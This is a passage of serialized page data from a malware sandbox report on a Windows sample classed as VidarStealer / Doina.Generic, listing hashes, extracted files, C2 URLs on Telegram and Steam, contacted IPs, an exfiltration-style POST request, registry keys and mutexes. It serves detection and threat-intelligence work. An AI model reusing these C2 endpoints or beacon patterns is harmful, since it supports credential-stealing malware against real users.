sections","filetype_short":"PE64","mime_type":"application/x-dosexec"},"Ip:104.21.77.111":{"type":"Ip","value":"104.21.77.111"},"Ip:149.154.167.99":{"type":"Ip","value":"149.154.167.99"},"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21":{"type":"Threat","value":"VidarStealer","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected relationship with a Threat VidarStealer","confirmed relationship with a Threat","confirmed relationship with an Adversary HOOK SPIDER","confirmed relationship with an Adversary VICE SPIDER"]}},"Url:/cm":{"type":"Url","value":"/cm"},"Url:/scii0n":{"type":"Url","value":"/scii0n"},"Url:a14bf97617f83d1dc44c0ee6b3ab602951ad68c98805d084c9837a8c64518103":{"type":"Url","value":"https://steamcommunity.com:443/profiles/76561198622044578","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration"]}},"Url:bf81be37b4edc4c9db7da4dd8750da2f64e8bcfe082e708aeb8800d7423f4970":{"type":"Url","value":"https://t.me:443/scii0n","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration"]}}},"chains":[{"id":"1559345882933186356","root":"Domain:91830aeeac8ac9919cb41671b87257759375a979aef16a9e2c46942314669d0a","edges":[],"verdict":{"verdict":"clean","verdict_source":"domain reputation data","reasons":["reported clean domain"]}},{"id":"1559345880113311998","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted_from_archive","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba"}],"verdict":{"verdict":"unknown"}},{"id":"1559345893139173721","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c"},{"edge_kind":"is_threat","from_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","to_key":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected","confirmed relationship with a Threat","confirmed relationship with an Adversary HOOK SPIDER","confirmed relationship with an Adversary VICE SPIDER"]}},{"id":"1559345880125894960","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c"},{"edge_kind":"contains_c2_config","from_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","to_key":"Url:a14bf97617f83d1dc44c0ee6b3ab602951ad68c98805d084c9837a8c64518103"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1559345880125894962","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c"},{"edge_kind":"contains_c2_config","from_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","to_key":"Url:bf81be37b4edc4c9db7da4dd8750da2f64e8bcfe082e708aeb8800d7423f4970"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1559345880121700653","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2"},{"edge_kind":"is_threat","from_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","to_key":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1559345880125894959","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2"},{"edge_kind":"contains_c2_config","from_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","to_key":"Url:a14bf97617f83d1dc44c0ee6b3ab602951ad68c98805d084c9837a8c64518103"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1559345880125894961","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2"},{"edge_kind":"contains_c2_config","from_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","to_key":"Url:bf81be37b4edc4c9db7da4dd8750da2f64e8bcfe082e708aeb8800d7423f4970"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1559345882933444407","root":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21","edges":[{"edge_kind":"used_by","from_key":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21","to_key":"Adversary:2c7506f6c4aa247d7f6275be52f238ba76ef3f2094a4a826ffba0f00e89549bd"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"1559345882933444406","root":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21","edges":[{"edge_kind":"used_by","from_key":"Threat:81f5272cf61469dac849b8f800732474f5623d29bb49baba6056f04ff9872c21","to_key":"Adversary:4836d8b3f07a3cbb115c58849599240d932f0d90963f86bf5ce29d9e1ba7c548"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_network","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"contacted_ip","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_ip","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Ip:104.21.77.111"},{"edge_kind":"contacted_domain","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Domain:t.me"},{"edge_kind":"resolves_to","from_key":"Domain:t.me","to_key":"Ip:149.154.167.99"},{"edge_kind":"contacted_domain","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Domain:v75.666iapk.net"},{"edge_kind":"resolves_to","from_key":"Domain:v75.666iapk.net","to_key":"Ip:104.21.77.111"},{"edge_kind":"contacted_url","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Url:/scii0n"},{"edge_kind":"contacted_url","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"Url:/cm"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","edges":[{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c"},{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba"},{"edge_kind":"extracted","from_key":"File:08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","to_key":"File:f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":1,"spawned_processes_count":1,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":50,"dropped_files_count":0,"extracted_files_count":3,"files_written_count":0,"files_deleted_count":0,"registry_keys_created_count":33,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":33,"embedded_ips_count":0,"embedded_domains_count":1,"embedded_urls_count":2,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["suspicious"],"sample_flags":["Network Traffic"],"sandbox_reports":[{"id":"6acd6c01381ad745b50e85eb","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":92,"malware_family":"Trojan.Win64.GenusT","contacted_countries":["NLD"],"submit_name":"file.exe","analysis_start_time":"2026-10-12T23:23:46+00:00","indicators_count":{"informative":83,"suspicious":30,"malicious":2},"tags":["Network Traffic"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"149.154.167.99","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"address":"104.21.77.111","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"dns_resolutions":[{"domain":"t.me","address":"149.154.167.99","ttl":127,"country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"domain":"v75.666iapk.net","address":"104.21.77.111","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"http_requests":[{"host":"t.me","host_ip":"149.154.167.99:443","url":"/scii0n","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /scii0n HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nHost: t.me","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"host":"v75.666iapk.net","host_ip":"104.21.77.111:443","url":"/cm","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /cm HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0\nContent-Length: 345\nHost: v75.666iapk.net","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"embedded_domains":[{"value":"steamcommunity.com","sources":[{"report_type":"qsp","report_id":""}]}],"embedded_urls":[{"value":"https://steamcommunity.com:443/profiles/76561198622044578","sources":[{"report_type":"qsp","report_id":""}]},{"value":"https://t.me:443/scii0n","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}],"processes":[{"pid":3700,"ppid":0,"name":"file.exe","command_line":"","sha256":"08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","normalized_path":"C:\\file.exe","uid":"00000000-00003700","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAA6UgIhRBPKvFtlTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50refsbU/OstCIAAAAASUVORK5CYII="}],"all_imported_dlls":["winhttp.dll","IPHLPAPI.DLL","sspicli.dll","ntdll.dll","bcryptprimitives.dll","ncryptsslp.dll","vcruntime140_1.dll","combase.dll","ole32.dll","bcrypt.dll","FWPUCLNT.DLL","ntasn1.dll","VxSSL64.dll","rpcrt4.dll","gdi32.dll","msvcp140.dll","imm32.dll","oleaut32.dll","OnDemandConnRouteHelper.dll","KernelBase.dll","advapi32.dll","shlwapi.dll","webio.dll","nsi.dll","schannel.dll","msasn1.dll","dpapi.dll","kernel32.dll","ws2_32.dll","user32.dll","rasadhlp.dll","crypt32.dll","ncrypt.dll","cryptbase.dll","apphelp.dll","fltLib.dll","sechost.dll","winnsi.dll","dnsapi.dll","gdi32full.dll","msvcrt.dll","mswsock.dll","mskeyprotect.dll","rsaenh.dll","gpapi.dll","ucrtbase.dll","win32u.dll","msvcp_win.dll","vcruntime140.dll","cryptsp.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","sha256":"b6eb7afd439d87387772ea08fa2ba030e9ab362d6a33273128b7c5104512f71c","verdict":"malicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba","sha256":"1d30e9c674b11098b65babdcc06df6dd6d30e2f5923e8c4fb065d7eeb43ee0ba","verdict":"undetected","sources":[{"report_type":"qsp","report_id":""}]},{"name":"f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","sha256":"f2fca34799e1186468c31c9c8402447af319b0e7068d3a618a28dcaedf569df2","verdict":"malicious","sources":[{"report_type":"qsp","report_id":""}]}],"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\asgdsadgas","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]},{"name":"asgdsadgas","sources":[{"report_type":"sandbox","report_id":"6acd6c01381ad745b50e85eb"}]}]}},"report_ids":{"sandbox_job_ids":["6acd6c01381ad745b50e85eb"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Doina.Generic Sample 08d03a5ca6fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 08d03a5ca6fd…. Malware family: Doina.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e"}],["$","meta","4",{"property":"og:title","content":"Malicious Doina.Generic Sample 08d03a5ca6fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 08d03a5ca6fd…. Malware family: Doina.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Doina.Generic Sample 08d03a5ca6fd… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 08d03a5ca6fd…. Malware family: Doina.Generic. Threat score 100/100. 11/28 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L36","11",{}]]